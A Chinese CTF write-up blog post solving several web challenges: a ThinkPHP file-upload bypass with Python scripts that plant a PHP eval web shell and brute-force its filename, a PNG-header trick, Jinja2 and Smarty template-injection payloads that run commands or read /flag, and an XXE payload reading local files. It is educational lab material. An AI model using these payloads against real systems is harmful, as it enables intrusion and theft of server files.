每日一题(七)

Aimerl0
• 阅读 1351

写在前面

接下来准备挑一些历年大赛中文件上传类型的题来练,学习一些新的套路

[RoarCTF 2019]Simple Upload

 <?php
namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller
{
    public function index()
    {
        show_source(__FILE__);
    }
    public function upload()
    {
        $uploadFile = $_FILES['file'] ;

        if (strstr(strtolower($uploadFile['name']), ".php") ) {
            return false;
        }

        $upload = new \Think\Upload();// 实例化上传类
        $upload->maxSize  = 4096 ;// 设置附件上传大小
        $upload->allowExts  = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型
        $upload->rootPath = './Public/Uploads/';// 设置附件上传目录
        $upload->savePath = '';// 设置附件上传子目录
        $info = $upload->upload();
        if(!$info) {// 上传错误提示错误信息
          $this->error($upload->getError());
          return;
        }else{// 上传成功 获取上传文件信息
          $url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
          echo json_encode(array("url"=>$url,"success"=>1));
        }
    }
} 

审计,首先检测并且过滤.php文件的上传,然后$upload->allowExts是错误的写法,所以设置的附件上传类型检测无效,$upload->upload()调用上传函数时不带参数为多文件上传,整个$_FILES['file']数组的文件都会被上传,可以利用这一点绕过对.php的检测,但是传上去后无法显示 php 文件的文件名

查开发手册得知 Think PHP 开发时,文件上传的路径是home/index/upload,需要在路径前面加上index.php因为 Think PHP 是单文件入口,我理解为子目录都在index.php路由下

每日一题(七)

上传后文件名字由uniqid函数随机生成,该函数根据时间生成,用脚本批量上传文件后得到正常的文件名字后,可以爆破出 php 文件名字

import time
import requests

# 获取正常上传后文件路径名
url = 'http://946480fa-f51d-44c0-9884-986029f02a80.node3.buuoj.cn/index.php/home/index/upload'
file1 = {'file':open('L:\\Users\\C1everF0x\\Desktop\\1.txt','r')}
file2 = {'file[]':open('L:\\Users\\C1everF0x\\Desktop\\1.php','r')}
file3 = {'file':open('L:\\Users\\C1everF0x\\Desktop\\1.txt','r')}
r=requests.post(url,files=file1)
print(r.text)
r=requests.post(url,files=file2)
print(r.text)
r=requests.post(url,files=file3)
print(r.text)

# 爆破
dir='abcdefghijklmnopqrstuvwxyz0123456789'
for i in dir:
    for j in dir:
        for x in dir:
            for y in dir:
                for z in dir:
                    url='http://946480fa-f51d-44c0-9884-986029f02a80.node3.buuoj.cn/Public/Uploads/2021-03-03/603f9788{}{}{}{}{}.php'.format(i,j,x,y,z)
                    r = requests.get(url)
                    # print(url)
                    time.sleep(2)
                    if r.status_code== 200:
                        print(url)
                        break

由于 BUU 平台原因爆破的时候很容易掉线

非预期解:.<>php 可以绕过检测

import requests

url = "http://946480fa-f51d-44c0-9884-986029f02a80.node3.buuoj.cn/index.php/home/index/upload/"
s = requests.Session()
files = {"file": ("shell.<>php", "<?php eval($_POST['cmd'])?>")}
r = requests.post(url, files=files)
print(r.text)

访问马的页面直接出 flag

参考资料

ThinkPHP3.2完全开发手册

Thinkphp错误使用Upload类导致getshell

[RoarCTF 2019]Simple Upload

RoarCTF-2019-Simple-Upload

[RoarCTF 2019]Simple Upload

[RoarCTF 2019]Simple Upload

[HarekazeCTF2019]Avatar Uploader 1

题目给了源码

https://github.com/TeamHarekaze/HarekazeCTF2019-challenges/tree/master/avatar_uploader_1/server

upload.php里有对文件检测的具体代码

<?php
error_reporting(0);

require_once('config.php');
require_once('lib/util.php');
require_once('lib/session.php');

$session = new SecureClientSession(CLIENT_SESSION_ID, SECRET_KEY);

// check whether file is uploaded
if (!file_exists($_FILES['file']['tmp_name']) || !is_uploaded_file($_FILES['file']['tmp_name'])) {
  error('No file was uploaded.');
}

// check file size
if ($_FILES['file']['size'] > 256000) {
  error('Uploaded file is too large.');
}

// check file type
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$type = finfo_file($finfo, $_FILES['file']['tmp_name']);
finfo_close($finfo);
if (!in_array($type, ['image/png'])) {
  error('Uploaded file is not PNG format.');
}

// check file width/height
$size = getimagesize($_FILES['file']['tmp_name']);
if ($size[0] > 256 || $size[1] > 256) {
  error('Uploaded image is too large.');
}
if ($size[2] !== IMAGETYPE_PNG) {
  // I hope this never happens...
  error('What happened...? OK, the flag for part 1 is: <code>' . getenv('FLAG1') . '</code>');
}

// ok
$filename = bin2hex(random_bytes(4)) . '.png';
move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_DIR . '/' . $filename);

$session->set('avatar', $filename);
flash('info', 'Your avatar has been successfully updated!');
redirect('/');

有两个 check 函数,一个用finfo_file函数检查文件类型,要求文件是 png,另一个用getimagesize函数检查文件的长宽,函数返回一个数组,要求文件又不是 png ,绕过getimagesize可拿到 flag

关于两个函数如何检测文件是否为 png:

finfo_file:打开文件,检测文件幻数是否为 png 的文件头格式

getimagesize:通过返回的数组的第三个索引值是否为 3 来判断是否为 png

例如:

Array
(
    [0] => 290
    [1] => 69
    [2] => 3
    [3] => width="290" height="69"
    [bits] => 8
    [mime] => image/png
)
  • 索引 0 给出的是图像宽度的像素值
  • 索引 1 给出的是图像高度的像素值
  • 索引 2 给出的是图像的类型,返回的是数字,其中1 = GIF,2 = JPG,3 = PNG,4 = SWF,5 = PSD,6 = BMP,7 = TIFF(intel byte order),8 = TIFF(motorola byte order),9 = JPC,10 = JP2,11 = JPX,12 = JB2,13 = SWC,14 = IFF,15 = WBMP,16 = XBM
  • 索引 3 给出的是一个宽度和高度的字符串,可以直接用于 HTML 的 标签
  • 索引 bits 给出的是图像的每种颜色的位数,二进制格式
  • 索引 channels 给出的是图像的通道值,RGB 图像默认是 3
  • 索引 mime 给出的是图像的 MIME 信息,此信息可以用来在 HTTP Content-type 头信息中发送正确的信息,如:header("Content-type: image/jpeg");

截取一个 png 文件的十六进制头,上传文件拿到 flag

每日一题(七)

每日一题(七)

[BJDCTF 2nd]fake google

源码中有提示<!--ssssssti & a little trick -->,用经典老图测试出来是 jinja2 的 ssti

通用 payload:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__==‘catch_warnings‘ %}{{ c.__init__.__globals__[‘__builtins__‘].eval("__import__(‘os‘).popen(‘<command>‘).read()") }}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag').read()") }}{% endif %}{% endfor %}

拿到 flag

[CISCN2019 华东南赛区]Web11

页面有一句Build With Smarty !,猜测是 smarty 的模板注入,跟 ip 有关,猜测注入点是 xff 头

每日一题(七)

参考资料

Smarty SSTI

模板中的{if}标签中可以执行全部的 php 函数

payload:

x-forwarded-for: {if readfile('/flag')}{/if}
# 其他的读文件命令也行,cat、var_dump、echo等

每日一题(七)

2021.3.7

跟学长接了一个项目做,项目做完之前每日一题随缘更新,希望能从中学到新东西

[CSAWQual 2019]Web_Unagi

XXE 的题目,有 slampe.xml 样本,about.php里面有提示Flag is located at /flag, come get it

xml 文件内容是常规的 XXE payload,但是有 waf ,可以 utf-8utf-16 来绕过

<?xml version='1.0'?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///flag" >]>
<users>
    <user>
        <username>bob</username>
        <password>passwd2</password>
        <name> Bob</name>
        <email>bob@fakesite.com</email>  s
        <group>CSAW2019</group>
        <intro>&xxe;</intro>
    </user>
</users>

传上去拿到 flag

点赞
收藏
评论区
推荐文章
blmius blmius
2年前
MySQL:[Err] 1292 - Incorrect datetime value: ‘0000-00-00 00:00:00‘ for column ‘CREATE_TIME‘ at row 1
文章目录问题用navicat导入数据时,报错:原因这是因为当前的MySQL不支持datetime为0的情况。解决修改sql\mode:sql\mode:SQLMode定义了MySQL应支持的SQL语法、数据校验等,这样可以更容易地在不同的环境中使用MySQL。全局s
Jacquelyn38 Jacquelyn38
2年前
2020年前端实用代码段,为你的工作保驾护航
有空的时候,自己总结了几个代码段,在开发中也经常使用,谢谢。1、使用解构获取json数据let jsonData  id: 1,status: "OK",data: 'a', 'b';let  id, status, data: number   jsonData;console.log(id, status, number )
皕杰报表之UUID
​在我们用皕杰报表工具设计填报报表时,如何在新增行里自动增加id呢?能新增整数排序id吗?目前可以在新增行里自动增加id,但只能用uuid函数增加UUID编码,不能新增整数排序id。uuid函数说明:获取一个UUID,可以在填报表中用来创建数据ID语法:uuid()或uuid(sep)参数说明:sep布尔值,生成的uuid中是否包含分隔符'',缺省为
Wesley13 Wesley13
2年前
4cast
4castpackageloadcsv.KumarAwanish发布:2020122117:43:04.501348作者:KumarAwanish作者邮箱:awanish00@gmail.com首页:
Easter79 Easter79
2年前
Twitter的分布式自增ID算法snowflake (Java版)
概述分布式系统中,有一些需要使用全局唯一ID的场景,这种时候为了防止ID冲突可以使用36位的UUID,但是UUID有一些缺点,首先他相对比较长,另外UUID一般是无序的。有些时候我们希望能使用一种简单一些的ID,并且希望ID能够按照时间有序生成。而twitter的snowflake解决了这种需求,最初Twitter把存储系统从MySQL迁移
Wesley13 Wesley13
2年前
00:Java简单了解
浅谈Java之概述Java是SUN(StanfordUniversityNetwork),斯坦福大学网络公司)1995年推出的一门高级编程语言。Java是一种面向Internet的编程语言。随着Java技术在web方面的不断成熟,已经成为Web应用程序的首选开发语言。Java是简单易学,完全面向对象,安全可靠,与平台无关的编程语言。
Stella981 Stella981
2年前
Django中Admin中的一些参数配置
设置在列表中显示的字段,id为django模型默认的主键list_display('id','name','sex','profession','email','qq','phone','status','create_time')设置在列表可编辑字段list_editable
Wesley13 Wesley13
2年前
MySQL部分从库上面因为大量的临时表tmp_table造成慢查询
背景描述Time:20190124T00:08:14.70572408:00User@Host:@Id:Schema:sentrymetaLast_errno:0Killed:0Query_time:0.315758Lock_
Python进阶者 Python进阶者
3个月前
Excel中这日期老是出来00:00:00,怎么用Pandas把这个去除
大家好,我是皮皮。一、前言前几天在Python白银交流群【上海新年人】问了一个Pandas数据筛选的问题。问题如下:这日期老是出来00:00:00,怎么把这个去除。二、实现过程后来【论草莓如何成为冻干莓】给了一个思路和代码如下:pd.toexcel之前把这